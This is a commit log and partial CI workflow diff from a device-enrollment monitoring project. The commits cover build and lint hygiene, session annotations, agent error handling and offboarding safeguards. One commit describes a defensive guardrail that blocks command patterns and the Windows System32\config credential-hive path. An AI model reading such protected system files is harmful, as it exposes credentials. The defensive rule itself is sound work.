Compare commits

...

45 Commits

Author SHA1 Message Date
Oliver Kieselbach c770bbffcf build: keep NuGet audit advisories as warnings in the warning freeze
A CVE published against an already-referenced package must not block an
unrelated hotfix deploy; advisories are handled by bumping the package.
WarningsNotAsErrors NU1901-NU1904 - everything else stays fatal.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 09:49:27 +02:00
Oliver Kieselbach 3fbdc8ef62 build: freeze .NET builds at zero warnings (warnings-as-errors)
Repo-wide Directory.Build.props: TreatWarningsAsErrors +
MSBuildTreatWarningsAsErrors. Applies to compiler, MSBuild and NuGet
restore warnings including audit advisories (NU1901-NU1904) - a newly
published CVE fails the build until addressed (fail-closed).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 09:44:40 +02:00
Oliver Kieselbach 35cea4fe64 build: clear all remaining .NET build warnings to zero
- CmTraceLogParser: annotate TryParseLine (string? line, [NotNullWhen(true)]
  out entry), init string properties (CS8618/CS8625/CS8604)
- Shared: internal NotNullWhen polyfill for netstandard2.0; multi-target
  netstandard2.0;net10.0 so net10 consumers use the BCL attribute and the
  polyfill cannot collide via InternalsVisibleTo (CS0433)
- AgentEndpointMigrationRules.TryNormalizeTarget: now carries [NotNullWhen(true)]
- Functions.csproj: drop DataProtection/Cryptography.Xml security pins made
  redundant by .NET 10 framework-package pruning (NU1510)
- Functions.Tests.csproj: add Microsoft.AspNetCore.App FrameworkReference so
  pruning applies there too and the pins stay unnecessary (NU1903/NU1904)
- Agent tests: nullable test-helper param, Assert.NotNull before dereference

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 09:38:41 +02:00
Oliver Kieselbach ade6c4948f annotations: tenant switcher on the overview page + GA-lane guard on the global list
/annotations now carries the standard cross-tenant scope (GA/Reader: "All
tenants" aggregate + per-tenant drill-down via GET global/session-annotations,
delegated: managed subset), with a tenant column and tenant-qualified session
deep links. The global list endpoint now derives excludeGlobalAdminLane from
HasGlobalScope so delegated-rescue callers never receive the platform-internal
globaladmin lane (endpoint-test-pinned).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 09:27:31 +02:00
Oliver Kieselbach 83da522dd7 ci: freeze the web lint warning cap at zero (batch 5)
The 99-warning legacy backlog from the React 19 / eslint-plugin-react-hooks
v6 upgrade is fully burned down — CI now fails on any new warning. The
compiler rules stay demoted to "warn" so local dev output remains readable;
the eslint config comments now point to the established fix patterns
instead of the retired ratchet.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 19:23:44 +02:00
Oliver Kieselbach c15394df87 web: refactor context/sidebar/theme effect-state sync, last lint sites to zero (batch 3)
- AuthContext: delete the SSR isLoading effect — effects never run on the
  server, the guard was unreachable dead code.
- TenantContext: mirror user.tenantId via adjust-during-render; the value
  is still retained while auth resolves and cleared on settled sign-out.
- Global/Tenant notification contexts: scope-masked empty list derived in
  the provider value instead of effect-clearing; loading flag moved into
  the canonical async wrapper.
- New shared hooks/useMediaQuery (useSyncExternalStore, configurable
  server snapshot) — consumed by GlobalSidebar (isDesktop) and
  McpTerminalDemo (prefers-reduced-motion, finished transcript derived).
- GlobalSidebar: route-mode active section derived from pathname;
  active-group and pathname auto-expansion as adjust-during-render, state
  now holds user toggles only.
- ThemeContext: theme read via useSyncExternalStore backed by
  lib/themeStore (manual preference beats OS preference in the snapshot;
  same-tab writes notify through the store's listener list).
- TipOfTheDay: random tip via useSyncExternalStore with module-memoized
  pick (build-time Math.random would freeze one tip and mismatch on
  hydration); re-rolls per mount via cleanup.
- Navbar: previewMode block removed entirely — nothing in the codebase
  consumes the flag anymore, it only persisted itself.
- activation page: ?demo flag via useSyncExternalStore, tri-state null
  sentinel dropped.

Lint is at zero react-hooks warnings repo-wide.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 19:17:55 +02:00
Oliver Kieselbach 810a6f1f2f web: derive instead of effect-sync across reset/clamp/seed lint sites (batch 2)
Structural fixes for the set-state-in-effect sites that were genuine
state synchronization, using the React-documented patterns:

- adjust-during-render (compare-prev) for reset-on-dep-change: dashboard
  page reset + tenant-filter clear, InstallsTab/MappedSoftwareTab page
  resets, TenantManagementSection URL seeding + page reset,
  OpsAlertRulesSection draft re-seeding, SessionReportsSection deep-link
  auto-open, ReportSessionModal result reset.
- clamp/derive at read: dashboard effectivePage (also removes the
  documented handleNextPage race), backups detail effectiveTableName,
  useBlockDevice scope-masked set, InstallProgress and
  useProgressDerivedData live timers (startedAt-tagged tick state),
  sessions timeBreakdown read guard.
- key-based reset: SessionReportsSection note editor, DeleteConfirmModal
  content remount.
- inverted state: sessions page stores collapsedPhases so new phases are
  expanded by default with no sync effect; hash deep-link expandAll moved
  into its timer callback.
- tagged result state: useScriptDisplayNames stores {key, map} and serves
  the empty map on key mismatch — same staleness guarantee, no
  effect-phase clearing.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 19:17:36 +02:00
Oliver Kieselbach 019ac3959e web: clear the three preserve-manual-memoization warnings (batch 4)
- useProgressDerivedData: hoist the currentDownload computation into a
  module-level pure helper — the in-loop Map mutation and early return
  kept the compiler from memoizing the body inline.
- DeviceDetailsCard: derive bootTime from events inside the uptime memo
  (deps [events]) — the outer const is a live alias into event data that
  the compiler's alias analysis treats as maybe-mutated.
- useSessionEvents: route the queued follow-up re-invocation through a
  ref — a memoized callback that calls itself directly cannot be
  memoized. The now-traceable mount effect gets the standard wrapper.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 18:56:07 +02:00
Oliver Kieselbach 9236aba46e web: canonical inner-async wrappers for all fetch-effect lint sites (batch 1)
Convert every useEffect that directly invokes a state-setting fetch
callback to the canonical inner-async shape (const run = async () => {...};
void run();) — the react-hooks/set-state-in-effect rule traces direct
calls but accepts effect-scoped async functions. Semantic no-op: an async
body runs synchronously until its first await, so execution order is
byte-identical. Leading loading/error/data resets that are part of the
fetch flow move to the top of run in unchanged order.

52 files, ~60 sites. Lint 99 -> 36 warnings; remaining sites are
reset/derive effects and sensitive context/sidebar refactors (next
batches).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 18:55:49 +02:00
Oliver Kieselbach fda52666d6 web: clear set-state-in-effect lint warning on the annotations page
The annotations overview pushed the ESLint warning count to 100, one over
the frozen --max-warnings 99 cap, failing CI since 66d25f57's run. The
react-hooks/set-state-in-effect rule flags any direct effect call into a
state-setting useCallback, even with every setState behind an await.

Restructure instead of suppressing: loading/error begin-state moves from
fetchPage into the interaction sites (filter selects, load-more; mount is
covered by the initial state), and the effect invokes fetchPage through an
inner async wrapper so no setState is synchronously reachable. Lint is
back to exactly 99.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 17:19:52 +02:00
Oliver Kieselbach dcec6a1863 web: friendly empty/error states on the annotations overview page
A 404 (backend without the route yet, deploy skew) now renders the
regular empty state instead of an error; genuine load failures show a
calm non-technical retry hint in amber instead of raw statusText in red.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:42:29 +02:00
Oliver Kieselbach 041626494e ci: bump actions/cache v4 -> v6 (Node 24 runtime)
Node 20 actions are deprecated on GitHub runners; actions/cache@v4 was
the last remaining action targeting it (MCP server tests job warning).
v6 runs on node24 like the rest of the workflow actions.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:41:10 +02:00
Oliver Kieselbach fd32a90d57 web: label the GA annotation lane as internal, with a visibility badge
"Autopilot Monitor Team" read like a vendor-to-customer message channel.
The lane only ever renders for platform-scope users, so it now says
"Internal (Autopilot Monitor)" and carries a "never visible to the
tenant" badge on the session card.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:39:25 +02:00
Oliver Kieselbach 90b8243894 annotations: move tenant list route under the /api/sessions cert-exclusion prefix
/api/session-annotations sat outside every clientCertExclusionPaths
prefix, so browsers got the client-cert picker. Rename-over-exclusion
per the diag-files precedent (the Azure list is portal-only config and
dies on app recreation). Three segments (sessions/annotations/list) on
purpose: a two-segment literal would be eaten by sessions/{sessionId}.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:35:54 +02:00
Oliver Kieselbach 66d25f57db Cloud-PC-aware autopilot_profile_missing: Info instead of Warning on W365
On Windows 365 Cloud PCs a missing Autopilot profile (ProfileAvailable=0)
is the expected state - Cloud PCs are provisioned by the Windows 365
service, not by Autopilot - so the warning shown for physical devices is
misleading there.

- Agent: emit autopilot_profile_missing as Info with a Cloud-PC-specific
  message when CloudPcDetector matches; payload now carries isCloudPc.
  Evidence collection (ZTD verdict, registry, endpoint probe) unchanged.
- Web: DeviceDetailsCard renders a neutral info note instead of the amber
  warning for Cloud PC sessions (session.isCloudPc, sticky, covers
  existing sessions; or the new event marker).
- MCP: resource-catalog documents the new isCloudPc data field.
- Docs: Cloud PC exception noted in agent/autopilot-ztd-diagnostics.md.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:13:34 +02:00
Oliver Kieselbach 84a0424789 annotations: tenant-scoped overview page listing judged sessions
New GET /api/session-annotations (MemberRead + QueryParam, tenant always
the middleware-validated target) backing the portal /annotations page in
the Monitoring sidebar group (deliberately no new Insights group). For
callers without global scope the repository excludes the globaladmin
lane server-side (Lane ne clause), so hidden rows never consume page
budget and an explicit lane filter self-contradicts to empty. Rows
deep-link to the session annotation section. Verdict pill styling moved
to the shared logic module.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 16:13:04 +02:00
Oliver Kieselbach 596788cc26 fix dark mode 2026-08-12 14:32:24 +02:00
Oliver Kieselbach aec2d249e1 Merge branch 'main' of https://github.com/okieselbach/Autopilot-Monitor 2026-08-12 14:23:13 +02:00
Oliver Kieselbach a63f126b88 update dark theme script executions 2026-08-12 14:23:06 +02:00
dependabot[bot] d94a91780c chore(deps): bump the web group across 1 directory with 5 updates (#129)
Bumps the web group with 5 updates in the /src/Web/autopilot-monitor-web directory:

| Package | From | To |
| --- | --- | --- |
| [@microsoft/signalr](https://github.com/dotnet/aspnetcore) | `10.0.0` | `10.0.11` |
| [@types/leaflet](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/leaflet) | `1.9.21` | `1.9.22` |
| [next](https://github.com/vercel/next.js) | `16.2.12` | `16.3.0` |
| [@next/bundle-analyzer](https://github.com/vercel/next.js/tree/HEAD/packages/next-bundle-analyzer) | `16.2.12` | `16.3.0` |
| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.2.12` | `16.3.0` |



Updates `@microsoft/signalr` from 10.0.0 to 10.0.11
- [Release notes](https://github.com/dotnet/aspnetcore/releases)
- [Changelog](https://github.com/dotnet/aspnetcore/blob/main/docs/ReleasePlanning.md)
- [Commits](https://github.com/dotnet/aspnetcore/commits)

Updates `@types/leaflet` from 1.9.21 to 1.9.22
- [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases)
- [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/leaflet)

Updates `next` from 16.2.12 to 16.3.0
- [Release notes](https://github.com/vercel/next.js/releases)
- [Commits](https://github.com/vercel/next.js/compare/v16.2.12...v16.3.0)

Updates `@next/bundle-analyzer` from 16.2.12 to 16.3.0
- [Release notes](https://github.com/vercel/next.js/releases)
- [Commits](https://github.com/vercel/next.js/commits/v16.3.0/packages/next-bundle-analyzer)

Updates `eslint-config-next` from 16.2.12 to 16.3.0
- [Release notes](https://github.com/vercel/next.js/releases)
- [Commits](https://github.com/vercel/next.js/commits/v16.3.0/packages/eslint-config-next)

---
updated-dependencies:
- dependency-name: "@microsoft/signalr"
  dependency-version: 10.0.11
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: web
- dependency-name: "@next/bundle-analyzer"
  dependency-version: 16.3.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: web
- dependency-name: "@types/leaflet"
  dependency-version: 1.9.22
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: web
- dependency-name: eslint-config-next
  dependency-version: 16.3.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: web
- dependency-name: next
  dependency-version: 16.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: web
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-11 16:18:11 +02:00
Oliver Kieselbach 0b83fe2390 Merge branch 'main' of https://github.com/okieselbach/Autopilot-Monitor 2026-08-11 16:09:00 +02:00
Oliver Kieselbach 75c0c60717 web: use absolute destination for sign-in redirect in global error boundary
Next 16.3's new @next/next/no-location-assign-relative-destination rule
flags relative URLs assigned to window.location, pushing the lint warning
count past the CI cap of 99.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 15:09:13 +02:00
Oliver Kieselbach 29e7aa675a web: native title tooltips explaining each annotation verdict
Same wording as the customer docs; plain browser tooltip, no cursor
change. Applied to the verdict buttons and the read-only pill.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 15:06:50 +02:00
dependabot[bot] c28d64fe27 chore(deps-dev): bump tsx (#128)
Bumps the mcp group in /src/McpServer/autopilot-monitor-mcp with 1 update: [tsx](https://github.com/privatenumber/tsx).


Updates `tsx` from 4.23.1 to 4.23.11
- [Release notes](https://github.com/privatenumber/tsx/releases)
- [Changelog](https://github.com/privatenumber/tsx/blob/master/release.config.cjs)
- [Commits](https://github.com/privatenumber/tsx/compare/v4.23.1...v4.23.11)

---
updated-dependencies:
- dependency-name: tsx
  dependency-version: 4.23.11
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: mcp
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-11 14:45:08 +02:00
Oliver Kieselbach b2723168fd reports: snapshot session annotations into the report ZIP
SubmitReportAsync adds annotations.json (all lanes) to the package and
annotationCount to report-metadata.json. All lanes are safe: report
blobs are readable only through the GA-only session-reports routes.
Fail-soft like the tenant-context snapshot; the copy outlives the
session=s retention/delete.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 14:38:33 +02:00
Oliver Kieselbach d05d8ef302 web: annotations card collapsed by default with verdict summary header
The verdict comes at the end of a diagnosis, so the card must not take
space from the details/analysis work above it. Clickable chevron header
per section convention; count + verdict pills stay visible collapsed.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 14:33:40 +02:00
Oliver Kieselbach 2c48968ec6 session annotations: role-separated human verdicts on sessions (flywheel labels)
New SessionAnnotations table (PK=tenantId, RK={sessionId}_{lane}, lanes
operator/tenantadmin/globaladmin) storing structured verdicts + notes with
server-stamped authorship and a fired-rule-id snapshot for join-free
rule-quality evaluation. Per-lane write matrix re-gated in-function with
own-tenant binding; the globaladmin lane is platform-internal and filtered
from tenant callers. Portal: SessionAnnotationsCard on session detail.
MCP: list_session_annotations (ga) + annotate_session (strictGa, GA lane
only) + annotations key in get_session_summary. Lifecycle: cascade steps
17-19, offboarding wipe, critical-backup member. Privacy page gains the
customer-entered-content line.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 13:30:44 +02:00
Oliver Kieselbach 2f8ad82b0a gather-rules: mirror hard blocks in portal/MCP, stamp author on PUT-upsert; agent: bootstrap retry tests
Codex follow-ups to 1ebc2675:

- guardrails.json now mirrors blockedCommandPatterns + maxCommandLength and
  carries C:\Windows\System32\config in blockedFilePrefixes; portal
  (guardValidation.ts) and MCP (rule-validation.ts) enforce them in agent
  order (before the unrestricted-mode early-return), so hard-blocked commands
  no longer show "Allowed" in unrestricted tenants. GuardrailsParityTests
  pins the JSON mirror to the C# constants.
- gather-rule schema: collectorType enum gains json/xml (agent + portal
  supported both; MCP validate_rule falsely rejected them); MCP validates
  json/xml targets with file semantics and rejects activePhases +
  activeFromPhase set together (backend 400 parity); authoring guide updated.
- Author anti-spoof: tenant + global UpdateRule stamp the caller's JWT
  display name before the service call, closing the PUT-upsert hole where a
  non-existing ruleId stored the payload author; true updates still preserve
  the original. GatherRulesFunctionAuthorEndpointTests drives the real
  endpoints (first HttpRequestData-level test) proving body authors never win.
- AgentBootstrap.RetrySelfUpdateAfterEnrollment: internal + UpdateInvokerOverride
  test seam (RequestGracefulShutdown idiom), LastVersionCheckSucceeded setter
  internal; AgentBootstrapSelfUpdateRetryTests pin the guard, the relaxed
  await_enrollment timeouts, and the swallow-everything exception contract
  with save/restore of the static state.

Functions 3958, Agent-Core 2200, Web 670, MCP 543 tests green.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 12:29:05 +02:00
Oliver Kieselbach 4b74995e79 shared: drop Private Preview wording from ContactEmail seeding comment
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 20:34:16 +02:00
Oliver Kieselbach 5d8d9e8d40 web: show tenant contact email in config report tenant status
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 17:58:47 +02:00
Oliver Kieselbach 25bd2c175e web: bump nanoid to 3.3.18 and js-yaml to 4.3.1 (Dependabot high alerts)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 14:00:59 +02:00
Oliver Kieselbach 830edb98e7 agent: suppress distress dispatch when the auth failure came from a dead endpoint
Follow-up to 13dd6723: a platform-403 (stopped/retired app, HTML error
page) now skips the DeviceNotRegistered/AuthCertificateRejected distress
report - it would be sent to the very endpoint that just answered with a
platform page, and its classification would be wrong. Counting and the
shutdown thresholds are unchanged, so a dead endpoint still drives the
agent to its soft shutdown instead of retrying forever.

The one-report-per-streak gate moves from "count == 1" to a streak-scoped
flag: an endpoint-unavailable failure no longer consumes the streak's
report slot, so a later genuine 403 from a live backend still dispatches.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 13:42:43 +02:00
Oliver Kieselbach 1ebc2675b1 gather-rules: WQL property projections, portal enable-gating, author from JWT
- WMI guard accepts SELECT <property-list> FROM <class> for any class already
  allowed via SELECT * (strict data subset); same algorithm in agent, portal
  validator, and MCP validate_rule (incl. trim fix); guardrails.json unchanged
- Portal refuses to enable custom rules with not-allowed targets: create lands
  disabled, invalid edit force-disables, "Blocked on devices" badge, GitHub-issue
  hint for allowlist requests; agent stays the enforcement boundary
- Rule Author is stamped from the creator's token (display name > UPN) at create
  and preserved through every update, incl. cross-tenant GA edits
- bumpVersion keeps the segment count ("1.0.0" -> "1.1.0")

Customer feedback: SELECT BatteryStatus FROM Win32_Battery + on_change was
impossible because SELECT * re-emits on every charge-percent fluctuation.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 13:41:14 +02:00
Oliver Kieselbach 283c2ed214 web,ci: make Grant-AutopilotMonitorAddOn.ps1 actually downloadable
The docs page and the admin UI both told customers to run
Grant-AutopilotMonitorAddOn.ps1, but the script was never published
anywhere -- it only exists in this private repo. Publish it on the
download alias next to the agent artifacts and reference it:

- build-agent.yml: upload the script on publish_as_stable runs
- admin UI: copied grant command now starts with an irm -OutFile
  download line; prose links the script directly
- utils/config.ts: new AGENT_DOWNLOAD_URL registry constant

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 13:33:59 +02:00
Oliver Kieselbach 13dd6723da agent: classify platform-403 as endpoint-unavailable + self-update retry after await-enrollment
Field case sits-d.cloud 2026-08-09: a pinned pre-cutover agent (2.0.1282)
hit the stopped legacy Function App. Azure answers with a platform-level
403 HTML page, which the agent reported as "device is not authorized" -
support chases a non-existent authorization problem, and the stranded
build never rescues itself because the startup self-update check runs
pre-enrollment where OOBE has no network.

Two fixes:
- BackendApiClient reads the 401/403 body: an HTML response cannot come
  from our backend, so it is classified as endpoint stopped/retired/
  proxied (BackendAuthException.EndpointUnavailable, page title in the
  message) instead of a device-authorization verdict.
- AgentBootstrap retries the self-update check once after the MDM
  certificate appears (proof of connectivity) when the startup check
  never reached the manifest, with relaxed timeouts (10s check / 60s
  download). An applied update restarts into a current binary BEFORE
  session registration hits a retired endpoint. Marker files are also
  written on this trigger so agent_version_check reflects the latest
  verdict.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 13:32:10 +02:00
Oliver Kieselbach cb6d80a76e agent: transliterate typographic punctuation to ASCII in log output
Agent logs are written UTF-8 without BOM; cp1252-guessing viewers
(Outlook web attachment preview) render em dashes as mojibake. Map
em/en dash, arrow, ellipsis, curly quotes and NBSP to ASCII at the
central sanitize step so every message is covered without touching
call sites. Genuine non-ASCII payload (paths, names) stays verbatim.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-10 12:41:44 +02:00
Oliver Kieselbach 024c90d68f ci: cache the MiniLM embedding model so MCP tests stop 429ing on huggingface
The vector-search tests tokenize with the real Xenova/all-MiniLM-L6-v2
model. transformers.js caches it under node_modules by default, which npm ci
recreates on every run — so each CI run re-downloaded the tokenizer/weights
from huggingface.co, and a rate-limited response (429) failed the whole MCP
job (run 31252869254; unrelated to the commit under test). Persist the model
via actions/cache and point HF_CACHE_DIR (already honored by
vector-search-provider.ts) at it.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-08 12:37:13 +02:00
Oliver Kieselbach 54044c5d9c esp: continue-anyway observation mode — bounded 60-min defang for device-phase failures
Classic UD fleets held at the Device-ESP timeout wall by one slow blocking
app showed ~100% Failed (tenant c9787ba2: 948/1000 esp_terminal_failure)
although the profile allows "Continue anyway" and users demonstrably reach
the desktop — the classic advisory defang requires AccountSetupEnteredUtc
and never applied there.

New operator-set tenant opt-in EnableEspContinueAnywayObservation
(ConfigVersion 36 -> 37, default off):

- DecisionCore: a Device-phase EspTerminalFailure with ContinueAnyway
  allowed + opt-in observed (EspConfigDetected payload fact — kernel stays
  config-free) + Classic/Unknown non-pre-prov scenario defangs into the
  advisory rail with a 60-min AdvisoryCompletion window. Real end via the
  DAD-validated real-user desktop + Hello gate (IME user-session gate is
  structurally unavailable without the AccountSetup anchor): eager
  completion on DesktopArrived, category recovery via the 4910a5a5 hook,
  expiry un-defangs to the original esp_terminal_failure — every observed
  session still gets a terminal verdict.
- Honest outcome: enrollment_complete under an unresolved advisory carries
  espSoftFailure/completionSource (also on the classic post-AccountSetup
  advisory path); backend stamps EspSoftFailure/CompletionSource on the
  Sessions row (+ index mirror, terminal-tuple preservation); web renders
  an amber "with issues" badge plus a session-detail banner. No new
  terminal status — Succeeded + marker.
- Agent: remote-config field merged into AgentConfiguration; stamped into
  both esp_config_detected emitters (orchestrator bootstrap via live
  Func<bool> seam, DeviceInfoCollector via host/factory pass-through).
- Admin UI: GA-only toggle in the tenant management modal (next to
  Bootstrap Token) + stored/runtime rows in the tenant config report;
  GA-gated on both write paths (PUT silently reverts for tenant admins,
  field patch rejects with 400).

Tests: 13 new ContinueAnywayObservationTests; DecisionCore 513, Agent V2
2162, Functions 3948, SummaryDialog 44, vitest 632, tsc clean.
Docs: docs/agent/continue-anyway-observation.md (OKF) + index/log.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-08 12:28:45 +02:00
Oliver Kieselbach 3b3e8a7614 analyze: delay auto-analyze visibility 30s so rules stop racing the terminal flush
The enqueue fires in the very ingest batch that carries enrollment_failed /
enrollment_complete — by design the FIRST event of the agent's terminal
sequence. The worker's hot loop dequeued sub-second and evaluated rules
against a stream still missing the terminal-flush rows (stuck-promotion's
synthetic app_install_failed, app_tracking_summary, agent_shutting_down),
and the RuleResult dedup made the gap permanent. Session 53d1e9f6:
ANALYZE-ESP-004's optional app_install_failed condition never matched and
{{appName}} rendered as a literal placeholder (confidence 80, factor never
fired). A 30 s visibilityTimeout covers the flush including the agent's
late-event grace.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-08 12:28:25 +02:00
Oliver Kieselbach 115b4ec8c2 bootstrap: promote Windows 365 Cloud PC relax to v2.3 production script
Install-AutopilotMonitor.ps1 takes over the field-tested v2.3-dev.3 logic
unchanged (code-only diff vs dev: ScriptVersion + log file name); comments
condensed to customer-facing descriptions, dev changelog collapsed into one
v2.3 entry. Pester suite moved to Install-AutopilotMonitor.Tests.ps1 (neutral
test user names), dev script and dev suite removed. Test-ShouldBootstrapAgent
dry-run tester mirrors the Cloud PC trigger and the guard-4 uptime exemption.

Pester 29/29 green under PS 5.1 and pwsh 7; parse + pure-ASCII checks pass.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-08 09:18:13 +02:00
Oliver Kieselbach 8ec5a5debd offboarding: close the un-offboard race — config freeze + fail-closed wipe guard
While a tenant offboarding is queued or draining, the TenantConfiguration
tombstone (Disabled=true, 'Offboarding in progress') is the cascade's only
auth gate. A GA lifting Disabled mid-cascade re-opened the tenant against a
wipe that was still coming: data written afterwards was destroyed, and
sessions registered after enumeration survived as orphans while their event
partitions were wiped.

Three layers close it:
- PUT config/{tenantId} returns 409 while the row is the offboarding
  tombstone — for all callers, GA included
- TenantConfigPatchService refuses patch AND revert against the tombstone
  (a revert restores a pre-offboarding snapshot with Disabled=false — the
  exact race)
- TenantOffboardingHandler re-reads the config before the destructive
  post-drain phases and fail-closes with 'unoffboard_race' when the
  tombstone is gone but the wipe has not run (last line of defense)

Shared predicate: TenantOffboardFunction.IsOffboardingTombstone.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 16:25:03 +02:00
Oliver Kieselbach ff35270d5d agent: legacy bootstrap-config without TenantIdWaitSeconds must not disable the wait
A bootstrap-config.json written before the TenantIdWaitSeconds property
existed deserialized the missing field to 0, which the runtime treated as
an explicit opt-out and skipped the 600s TenantId wait entirely — exactly
the wait Hybrid-Join devices need while their Entra registration lands.

TenantIdWaitSeconds is now nullable: missing/null means 'not configured'
and falls through to the agent default (600s); an explicit 0 remains the
legacy fast-fail opt-out. The install merge carries null through instead
of freezing the default into the file.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 16:24:50 +02:00
Oliver Kieselbach 312e849573 email: welcome + farewell templates to green branding
Header gradient, CTA button, and links move from the old blue
(#2563eb/#4f46e5) to the landing-page green palette (#1e8a4c/#33b161).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 16:11:23 +02:00
Oliver Kieselbach 7433df528d web: mark-led OG/Twitter image + PNG apple-touch-icon
The OG image was an unreadable shrunken hero at card size; replace it
with a centered mark-first design (big green shape, large wordmark,
single tagline). Safari cannot use SVG for apple-touch-icon and fell
back to a letter tile — point the icons config at the file-convention
apple-icon.png, now the green mark on white (180x180).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 15:17:23 +02:00
Claude d86ae18a5e distress: carry the W365 Cloud PC marker into Devices Not Registered
First W365 field run: the rejected Cloud PC appeared in the report as an
anonymous "Microsoft Corporation / Virtual Machine" row — nothing told the
admin that the fix is the Cloud PC validator, not an Autopilot-registration
hunt. The agent's CloudPcDetector verdict (Windows365 key AND
CloudManagedDesktopExtension service) now rides the pre-auth distress channel:

- Agent: DistressReporter captures isCloudPc at construction (optional ctor
  arg, test fakes stay source-compatible); BackendClientFactory feeds it from
  CloudPcDetector; DistressReport.IsCloudPc on the wire (~18 bytes, fits the
  1536-byte payload cap without a bump — comment updated)
- Backend: DistressReportEntry.IsCloudPc, table column + read mapping
  (legacy rows -> false), structured log + AgentDistressReport AI event key;
  GetDeviceNotRegisteredFunction aggregates sticky-true per serial (same OR
  semantics as the Sessions IsCloudPc merge) and the data-quality notice
  names the new self-reported field. GA global/distress-reports serializes
  the full entry and picks it up automatically.
- Web: Cloud PC badge in the Devices Not Registered table (same sky badge as
  the session table) + conditional hint pointing at the Windows 365 Cloud PC
  Validation toggle and the W365CloudPcValidation Graph add-on.
- Tests: sticky-true + no-marker aggregation cases; MakeEntry helper gains
  the optional flag. Docs: third transport rail in
  backend/cloudpc-device-validation.md + log entry.

Unverified like every distress field — triage context only, never an auth
input. Verified: web tsc clean, eslint 0 errors (file's single warning
pre-exists). .NET build/tests run in CI (no SDK in this sandbox).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RqEFrcAHhWgCvgJgHGzMuv
2026-08-07 10:52:35 +00:00
236 changed files with 7845 additions and 1883 deletions
+6
View File
@@ -270,6 +270,12 @@ jobs:
if (Test-Path "scripts/Bootstrap/Test-ShouldBootstrapAgent.ps1") {
Send-Blob -Local "scripts/Bootstrap/Test-ShouldBootstrapAgent.ps1" -BlobName "Test-ShouldBootstrapAgent.ps1" -ContentType "text/plain; charset=utf-8"
}
# Customer-side Graph add-on grant script -- docs and admin UI link
# https://download.autopilotmonitor.com/agent/Grant-AutopilotMonitorAddOn.ps1
if (Test-Path "scripts/CustomerSetup/Grant-AutopilotMonitorAddOn.ps1") {
Send-Blob -Local "scripts/CustomerSetup/Grant-AutopilotMonitorAddOn.ps1" -BlobName "Grant-AutopilotMonitorAddOn.ps1" -ContentType "text/plain; charset=utf-8"
}
}
# Update AdminConfiguration LatestAgentV2* -- ONLY on stable cutover. The hash-oracle
+18 -5
View File
@@ -77,12 +77,11 @@ jobs:
- name: Typecheck
run: npx tsc --noEmit
# Errors fail outright. Warnings are ratcheted: the cap is the current
# count of accepted warnings (React-Compiler hooks-rule findings demoted
# in eslint.config.mjs + exhaustive-deps) — when you fix warnings, lower
# the cap to match; never raise it.
# Errors fail outright, and so does ANY warning: the codebase is
# warning-clean and must stay that way — fix new findings, never
# raise the cap.
